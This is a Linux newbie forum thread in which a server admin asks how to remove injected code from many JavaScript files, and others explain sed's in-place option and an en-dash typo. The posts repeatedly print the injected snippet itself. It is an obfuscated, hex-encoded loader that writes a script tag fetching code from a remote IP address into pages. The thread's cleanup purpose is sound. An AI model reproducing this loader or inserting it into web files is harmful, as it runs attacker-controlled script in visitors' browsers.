LinuxQuestions.org
Latest LQ Deal: Latest LQ Deals
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 11-13-2017, 07:04 AM   #1
taru.tarak
Member
 
Registered: Aug 2016
Distribution: CentOS
Posts: 91

Rep: Reputation: Disabled
SED command no working | May be I am doing wrong


Hello,

I want to remove the below code from all .JS files:

======================
_0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
======================
For this I have tried to use below command but its not working.
======================
grep -rl '_0xaae8' . | xargs sed –i 's/var\s_0xaae8.*//g'
sed: -e expression #1, char 1: unknown command: `▒'
======================
Please help me out what will be the exact command.
Any suggestion should be appreciated.

Regards,
Tarak Nath
 
Old 11-13-2017, 09:19 AM   #2
linom
Member
 
Registered: May 2015
Location: India
Distribution: Debian, CentOS,Redhat, Fedora, Ubuntu
Posts: 91

Rep: Reputation: 13
Quote:
Originally Posted by taru.tarak View Post
Hello,

I want to remove the below code from all .JS files:

======================
_0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
======================
For this I have tried to use below command but its not working.
======================
grep -rl '_0xaae8' . | xargs sed –i 's/var\s_0xaae8.*//g'
sed: -e expression #1, char 1: unknown command: `▒'
======================
Please help me out what will be the exact command.
Any suggestion should be appreciated.

Regards,
Tarak Nath
Have you tried with the below command

Code:
sed '/_0xaae8/d' file_name
 
Old 11-13-2017, 09:40 AM   #3
taru.tarak
Member
 
Registered: Aug 2016
Distribution: CentOS
Posts: 91

Original Poster
Rep: Reputation: Disabled
No Sir,

Actually there are many JS files with the above code in the sub-folder under a folder. That's why I want remove this code from all JS files.

Is there any command that we can use to remove above code from all JS files?

Regards,
Tarak Nath
 
Old 11-13-2017, 09:57 AM   #4
linom
Member
 
Registered: May 2015
Location: India
Distribution: Debian, CentOS,Redhat, Fedora, Ubuntu
Posts: 91

Rep: Reputation: 13
Quote:
Originally Posted by taru.tarak View Post
No Sir,

Actually there are many JS files with the above code in the sub-folder under a folder. That's why I want remove this code from all JS files.

Is there any command that we can use to remove above code from all JS files?

Regards,
Tarak Nath
Try with few files for now, if the command works, then we can build a command / script for all the JS files by searching and then deleting.

Last edited by linom; 11-13-2017 at 10:24 AM.
 
Old 11-13-2017, 11:58 AM   #5
taru.tarak
Member
 
Registered: Aug 2016
Distribution: CentOS
Posts: 91

Original Poster
Rep: Reputation: Disabled
As per your suggestion, I have tried the below command. Unfortunately its not working. File is same as it is

==========
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#
[root@dev1 jquery]# sed '/_0xaae8/d' jquery.js
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#

==========
It will good if you please check and suggest me with exact command.

Regards,
Tarak Nath
 
Old 11-14-2017, 01:11 PM   #6
Kenhelm
Member
 
Registered: Mar 2008
Location: N. W. England
Distribution: Mandriva
Posts: 360

Rep: Reputation: 170Reputation: 170
The sed error message in post #1 is caused by the Unicode character 'EN DASH'.
http://www.fileformat.info/info/unic...2013/index.htm
Code:
printf '%s' 'sed –i' | od -An -tx1z         # sed –i from post #1
 73 65 64 20 e2 80 93 69      >sed ...i<    # e2 80 93 is 'EN DASH'


printf '%s' 'sed -i' | od -An -tx1z         # sed -i from keyboard
 73 65 64 20 2d 69             >sed -i<     # 2d is the ASCII hyphen/minus
 
Old 11-14-2017, 06:24 PM   #7
scasey
LQ Veteran
 
Registered: Feb 2013
Location: Tucson, AZ, USA
Distribution: CentOS 7.9.2009
Posts: 5,732

Rep: Reputation: 2212Reputation: 2212Reputation: 2212Reputation: 2212Reputation: 2212Reputation: 2212Reputation: 2212Reputation: 2212Reputation: 2212Reputation: 2212Reputation: 2212
Executing a sed command over a file does not, by default, change the contents of the file; it just outputs the edited content to standard out.
You need to capture the output, perhaps by redirection, into a new file that will then look as you wish, or review info sed to understand how to make changes in-place
 
Old 11-16-2017, 10:49 AM   #8
linom
Member
 
Registered: May 2015
Location: India
Distribution: Debian, CentOS,Redhat, Fedora, Ubuntu
Posts: 91

Rep: Reputation: 13
Quote:
Originally Posted by taru.tarak View Post
As per your suggestion, I have tried the below command. Unfortunately its not working. File is same as it is

==========
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#
[root@dev1 jquery]# sed '/_0xaae8/d' jquery.js
[root@dev1 jquery]# cat jquery.js
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x6 3\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x3 2\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C"," \x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));[root@dev1 jquery]#

==========
It will good if you please check and suggest me with exact command.

Regards,
Tarak Nath
Hi,
As explained by scasey, the given sed command will remove the content of the source file and print on the linux terminal. It will not make any changes on the source file. To remove the lines from the source file permanently use the "-i" option with the sed command.

Code:
sed -i '/_0xaae8/d' file_name
Note: This will make permanent changes in the SOURCE file. SO BE CAREFUL.

Alternativly, another suggestion is that to redirect it to a new file without the "-i" option in the sed command.

Code:
sed '/_0xaae8/d' file_name > NEW_FILE_NAME
This will anyways preserve the old file and also have a new one. Once the new one is fine, you can keep it or get rid of the old files.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
searching and replacing is not working as i want (sed command)? spatil20 Linux - General 2 01-21-2016 12:57 AM
sed command error - what am i doing wrong? Morrighan Linux - Newbie 8 06-15-2008 11:12 AM
sed command not working prashant.kumar Linux - General 4 10-15-2007 09:18 AM
sed command not working right ncsuapex Linux - General 2 04-22-2006 05:27 PM
Sed command in file not working lbauer Programming 5 04-06-2005 12:31 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie

All times are GMT -5. The time now is 07:48 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration